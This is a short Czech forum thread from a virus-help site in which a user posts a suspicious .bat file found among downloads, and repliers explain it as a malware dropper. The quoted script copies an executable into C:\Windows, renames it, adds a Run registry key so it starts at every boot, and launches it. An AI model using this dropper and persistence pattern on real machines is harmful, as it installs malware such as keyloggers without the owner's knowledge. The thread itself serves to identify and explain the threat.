VIRY.CZ

Dobrý den, našel jsem nějaký .bat soubor při svých stažených a otevřel jsem ho v notepadu++. Ukázal mi toto:

@echo off
XCOPY unistall.exe c:\windows\ /S /C /R /I /H /Y
RENAME c:\windows\unistall.exe winn.exe
reg.exe ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v winn /t REG_SZ /d c:\windows\winn.exe /f
start c:\windows\winn.exe

(Šel jsem tady jen proto, že jsem viděl "windows" a "uninstall")

Můžu vědět co to má jako dělat? (má to smazat Windows? [spouštět to raději nebudu])

Zdravím!
Pravděpodobně to spouští šmejda. winn.exe je totiž worm a unistall.exe (pokud jste tedy nevynechal jedno písmenko) je keylogger.

Zdravím,

ten .bat soubor se pokusí provést následující:
1) zkopírovat soubor uinstall.exe do složky C:\Windows,
2) přejmenovat jej na winn.exe,
3) zapsat cestu k winn.exe do registru tak, aby došlo k jeho spuštění (toho souboru) po startu systému,
4) spustit winn.exe (aby nebylo nutné čekat na restart).